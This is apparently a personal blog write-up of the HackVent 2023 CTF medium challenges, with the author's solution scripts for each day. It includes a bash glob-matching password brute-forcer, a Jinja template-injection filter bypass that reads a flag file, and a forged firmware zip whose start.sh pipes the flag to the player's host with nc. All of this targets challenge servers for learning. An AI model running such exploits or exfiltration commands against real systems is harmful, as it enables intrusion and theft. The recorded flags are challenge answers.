HackVent 2023 (The Medium)

This blog post is part of my write-up for HackVent 2023, an advent-calendar style CTF. During the first 24 days of December, each day a new challenge is released, with the difficulty increasing as we get closer to the 24th. This part of the write-up covers the medium challenges from the 8th to the 14th. There is also a post about the easy challenges. The remaining write-up is currently in the works.

All my solution scripts are available in my ctf-notes git repo. It provides a flake that can be used to build and run the solutions:

  nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-08

The result is usually a script that runs my solution in a minimal container using crun. Some the solution scripts require arguments, such as the target IP address or the local IP address for reverse shells. This will be pointed out in the write-up.

I plan on writing another blog post on how this setup functions soon (tm).

[HV23.08] SantaLabs bask #

Ditch flask and complicated python. With SantaLabs bask, you can write interactive websites using good, old bash and even template your files by using dynamic scripting!

Solution #

We are given access to a website the sources of an HTTP server written in bash. There is a login page and looking through the sources where the ADMIN_PASSWORD is used, the fact that one is quoted and one is not stands out.

  rg --color=never ADMIN_PASSWORD </dev/null
: templates/post_login.sh:if [[ $ADMIN_PASSWORD == $POST_PASSWORD ]]; then
: templates/admin.sh:if [[ "$FIRST_COOKIE" == "$ADMIN_PASSWORD" ]]; then

As a result, we can use pattern matching when logging in. For example using * as a password gives a success response. Using this, we can extract the password one character at a time: We can just try a* through to z* and if we hit the correct first character, the login will succeed.

To reduce the number of requests needed for extraction, we can use [a-z] style patterns to check for a range of characters. With that, we can implement a binary search, which needs only 5 requests per letter, instead of 26. We first check in which half of the alphabet the correct letter is. We then just keep halving the range of possible characters in each request until only a single one is left.

I implemented the whole thing in bash, just because:

  #!/usr/bin/env bash
  MIN_CHAR=a
  MAX_CHAR=z
  
  TARGET="https://$1.idocker.vuln.land"
  
  center() {
      printf "%02x" "$(((0x$(echo -n $1 | xxd -p)+0x$(echo -n $2 | xxd -p))>>1))" | xxd -r -p
  }
  succ() {
      printf "%02x" "$((0x$(echo -n $1 | xxd -p)+1))" | xxd -r -p
  }
  
  matches() {
      curl --silent --retry 4 --retry-all-errors --show-error \
           -X POST -d "password=$1" "$TARGET/login" \
          | grep -q Success
  }
  
  prefix=""
  min="$MIN_CHAR"
  max="$MAX_CHAR"
  
  while true; do
      avg="$(center "$min" "$max")"
      echo -n -e "\r"
      echo -n "$min-$avg-$max"
      if matches "$prefix[$min-$avg]*"; then
          max="$avg"
      else
          min="$(succ "$avg")"
      fi
      if [ "$min" = "$max" ]; then
          prefix="$prefix$min"
  
          if ! matches "$prefix?*"; then
              break
          fi
  
          echo -n " prefix: $prefix"
          min="$MIN_CHAR"
          max="$MAX_CHAR"
      fi
  done
  
  password="$prefix"
  echo -n -e "\r"
  echo "password: $password     "
  
  curl --silent --retry 4 --retry-all-errors --show-error \
       --cookie "cookie=$password" "$TARGET/admin" \
      | grep -o 'HV23{[^}]*}'
source
  nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-08 \
      -- $target_uuid \
      | grep 'HV23{[^}]*}'
: HV23{gl0bb1ng_1n_b45h_1s_fun}

(The target_uuid is the UUID from the web service's FQDN, i.e. everything before .idocker.vuln.land)

[HV23.09] Passage encryption #

Santa looked at the network logs of his machine and noticed that one of the elves browsed a weird website. He managed to get the pcap of it, and it seems as though there is some sensitive information in there?!

Solution #

We are given a capture of network traffic, which covers a sequence of HTTP requests to a web server. After staring at the capture for a long time and trying various things, I found the flag hidden in the source port numbers. The port numbers are 56700 plus the value of the corresponding byte of the flag.

  tshark -r $capture -T fields -e tcp.srcport -2 -R 'tcp.dstport == 80' \
    | grep "^56[789]" \
    | awk '{ if($0 != 56700) printf("%c", $0-56700) }'
source
  nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-09
: HV23{Lo0k1ng_for_port5_no7_do0r$}

[HV23.10] diy-jinja #

We've heard you like to create your own forms. With SANTA (Secure and New Template Automation), you can upload your own jinja templates and have the convenience of HTML input fields to have your friends fill them out! Obviously 100% secure and even with anti-tampering protection!

Solution #

We are given a website, that lets us upload and render jinja templates, as long as they don't match the regex {{.*}}. In jinja templates, strings within double curly braces are evaluated. That would allow us to read the flag. A simple bypass for this challenge's filter is using a line-break inside the double curly braces. That way, the regex no longer matches, as python requires you to explicitly request multiline matching.

With that, a simple Jinja template to read a file can be used to extract the flag:

  TARGET=https://$1.idocker.vuln.land
  cat << EOF | curl $TARGET/upload -L -XPOST -Ftemplate=@- -Ffields=[]
  {{ request.__class__._load_form_data.__globals__.__builtins__.open("/app/flag.txt").read()
  }}
  EOF
source
  nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-10 -- $target_uuid
: HV23{us3r_suppl13d_j1nj4_1s_4lw4ys_4_g00d_1d34}

(The target_uuid is the UUID from the web service's FQDN, i.e. everything before .idocker.vuln.land)

[HV23.11] Santa's Pie #

Santa baked you a pie with hidden ingredients!

Solution #

Looking at the raw color data of the image, the red channel stand out the most: It contains only the values from 0 to 9 of the possible 256 values. Looking only the blue channel, it looks very noisy and no hint of the cake is visible:

Interpreting the blue channel as plain text looks promising, being mostly letters with some special characters mixed in. Investigating it further, the frequency distribution of the different values in the blue channel looks a bit suspicious:

  convert 7cda2611-87a0-4b68-b549-13376b8c097d.png ppm:- \
      | sed '1,3d' | xxd -p -c6 \
      | awk -v FIELDWIDTHS="2 2 2" '{ print $3 }' \
      | sort | uniq -c | paste - - - - -
  271 20	    249 21	    230 22	    259 23	    260 24
  257 25	    318 26	    297 27	    309 28	    307 29
   54 2a	     55 2b	     43 2c	     45 2d	     50 2e
   50 2f	     53 46	     37 47	     55 48	     53 49
   53 4a	     54 4b	     56 4c	     45 4d	     51 4e
   50 4f	    325 60	    334 61	    306 62	    275 63
  353 64	    319 65	    605 66	    571 67	    370 68
  364 69	    299 6a	    278 6b	    449 6c	    448 6d
  407 6e	    386 6f	    350 70	    335 71	    304 72
  283 73	    275 74	    258 75	    278 76	    261 77
   78 78	     76 79	    109 7a	     78 7b	    154 7c
  161 7d	    151 7e	    159 7f		

There seem to be groups of similar values occurring a similar amount, e.g. the values from 0x20 to 0x29 all occurring close to 300 times. Playing around, the distribution simplifies a lot when XOR-ing the red and blue channel values, reducing to only a few values:

  convert 7cda2611-87a0-4b68-b549-13376b8c097d.png ppm:- \
      | sed '1,3d' | xxd -p -c6 \
      | awk -v FIELDWIDTHS="2 2 2" '{ printf("%02x\n", xor($1,strtonum("0x"$3))) }' \
      | sort | uniq -c | paste - - - - -
:    2545 20	    509 2e	    507 4e	    507 61	    247 64
:    1526 65	    772 67	    263 69	    247 6c	   1263 6e
:    1264 6f	    261 70	    508 72	    248 74	    770 75
:     770 76	    247 77	    506 79		

But looking at the text, it still looks scrambled. To resolve this I tried going top-to-bottom and then left-to-right, instead of left-to-right and then top-to-bottom. That produces a lot of "Never gonna give you up" and "Never gonna let you down" with the flag in between:

  convert $img ppm:- \
      | sed '1,3d' | rz-ax -S | tr -d \\n | fold -w6 \
      | awk -v FIELDWIDTHS="2 2 2" '{ printf("%d\t%02x\n", NR%180, xor(strtonum("0x"$3),$1)) }' \
      | sort -sk1n | cut -f2 | tr -d \\n | rz-ax -s | grep -o 'HV23{[^}]*}'
source
  nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-11
: HV23{pi_1s_n0t_r4nd0m}

[HV23.12] unsanta #

To train his skills in cybersecurity, Grinch has played this year's SHC qualifiers. He was inspired by the cryptography challenge unm0unt41n (can be found here) and thought he might play a funny prank on Santa. Grinch is a script kiddie and stole the malware idea and almost the whole code. Instead of using the original encryption malware from the challenge though, he improved it a bit so that no one can recover his secret!

Luckily, Santa had a backup of one of the images. Maybe this can help you find the secret and recover all of Santa's lost data...?

Solution #

The challenge is quite clear: The flag was used to seed a random number generator, which is then used to produce a stream of bytes XOR'ed with the images to encrypt them. We want to recover the seed for here.

To get the original output of the random number generator, a mersenne twister, we can XOR the encrypted and backed-up image. To recover the seed from here, I used RNGeesus, which provides a function to calculate the seed of a mersenne twister from its first 624 outputs.

  from mersenne import BreakerPy
  import struct
  b = BreakerPy()
  
  with open("backup/a.jpg", "rb") as ina:
       with open("memes/a.jpg", "rb") as inb:
          keystream = bytes(a^b for a, b in zip(ina.read(), inb.read()))
  
  values = [struct.unpack(">L", keystream[4*i:4*i+4])[0] for i in range(624)]
  seed = b.get_seeds_python_fast(values[:624])
  print(b"".join(v.to_bytes(4, "big") for v in seed[::-1])[1:].decode())
source
  nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-12
: HV23{s33d_r3c0very_1s_34sy}

[HV23.13] Santa's Router #

Santa came across a weird service that provides something with signatures of a firmware. He isn't really comfortable with all that crypto stuff, can you help him with this?

Solution #

We are given access to a shell, implemented in python, giving us a few commands. We are also given the corresponding sources and a firmware.zip file. The shell allows us to check the current firmware version and its hash. Importantly, the shell also allows uploading a new firmware as a zip file. If the zip contains a file called start.sh, it will be executed. But before the firmware update is installed, a signature verification takes place.

The code used to compute a file's hash is the following:

  def hashFile(fileContent:bytes) -> int:
      hash = 0
      for i in range(0, len(fileContent), 8):
          hash ^= sum([fileContent[i+j] << 8*j for j in range(8) if i+j < len(fileContent)])
      return hash
source

The result of this hashing function is then also hashed using SHA1 then the signature verified against an unknown RSA key. To bypass the signature verification, we can construct a zip file, for which the hashFile function returns the same value as the provided firmware.zip. Then we can re-use the signature shown in the shell when checking the version to upload our own firmware file.

Generating such a collision is quite straight forward: The k-th byte of the hash is the XOR of the k-th bytes of each 8 byte block of the file. Furthermore, the method used to extract zip files ignores trailing bytes. So to generate a collision we simply calculate the hash of the zip file we want to upload, XOR it with the target value. This gives us 8 bytes we need to append to the zip file. They must be ordered in such a way that the first byte of the value lands in the first byte of an 8 byte block. This way, it will be XOR'ed with the first bytes of the other 8 byte blocks, and result in the correct first byte of the hash. The same goes for the remaining 7 bytes.

There are two simple options to archive this alignment: Rotating the calculated value by the correct number of bytes, such that all the bytes align, or appending bytes to the end of the file to get it to a length divisible by 8. I chose the former method.

With that, we can simply build a zip, containing a start.sh that pipe the flag into ncat, connecting back to us and exfiltrating the flag:

  #!${py}/bin/python
  import base64
  import io
  import struct
  import sys
  import zipfile
  import asyncio
  
  target_host, reverse_ip, reverse_port = tuple(sys.argv[1:])
  
  def hashFile(fileContent:bytes) -> int:
      hash = 0
      for i in range(0, len(fileContent), 8):
          hash ^= sum([fileContent[i+j] << 8*j for j in range(8) if i+j < len(fileContent)])
      return hash
  with open('firmware.zip', 'rb') as f:
      target = hashFile(f.read())
  
  firmware_data = io.BytesIO()
  with zipfile.ZipFile(firmware_data, 'w') as zf:
      zf.writestr("start.sh", """
  #/bin/sh
  cat /app/flag | nc %s %s
  """ % (reverse_ip, reverse_port))
  
  firmware_data.seek(0)
  payload = firmware_data.read()
  rot = len(payload) % 8
  pad = struct.pack("<Q", target ^ hashFile(payload))
  payload += pad[rot:] + pad[:rot]
  
  async def run():
      read, write = await asyncio.open_connection(target_host, 1337)
  
      await read.readuntil(b"$ ")
      write.write(b"version\n")
      await write.drain()
      await read.readuntil(b"Version 1.3.3.7")
      sig = (await read.readline()).split(b": ", 1)[1].strip()
  
      write.write(b"update\n")
      write.write(base64.b64encode(payload) + b"\n")
      write.write(sig + b"\n")
      await write.drain()
  
  asyncio.run(run())
source
  nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.day-13 -- $target_ip $listen_ip $listen_port
: HV23{wait_x0r_is_not_a_secure_hash_function}

(The target_ip is the IP the challenge is running on, listen_ip and listen_port are the IP and port to listen on for flag exfiltration.)

[HV23.14] Crypto Dump #

To keep today's flag save, Santa encrypted it, but now the elf cannot figure out how to decrypt it. The tool just crashes all the time. Can you still recover the flag?

Solution #

I set this challenge, so no solution write-up. I might, at some point, publish a blog post on the creation of this challenge a link it here.

[HV23.H2] Grinch's Secret #

Santa usually only gifts one present per kid, but one of his elves accidentally put two presents in the bag for a single kid! Somewhere in the medium challenges, you can find the second gift.

Solution #

This secret was hidden in day 11. Looking at the rick-roll, the two lines occur in an irregular pattern. Using "Never gonna give you up" as 0 and "Never gonna let you down" as 1, we get the flag:

  convert $img ppm:- \
      | sed '1,3d' | rz-ax -S | tr -d \\n | fold -w6 \
      | awk -v FIELDWIDTHS="2 2 2" '{ printf("%d\t%02x\n", NR%180, xor(strtonum("0x"$3),$1)) }' \
      | sort -sk1n | cut -f2 | tr -d \\n | rz-ax -s \
      | sed -e 's/up/0/g' -e 's/down/1/g' \
      | tr -cd '01' | rz-ax -b \
      | grep -oa 'HV23{[^}]*}' | head -n1
source
  nix run git+https://git.sr.ht/~lgcl/ctf-notes\?ref=refs/tags/hv23#hv23.hidden-2
: HV23{h1dden_r1ckr011}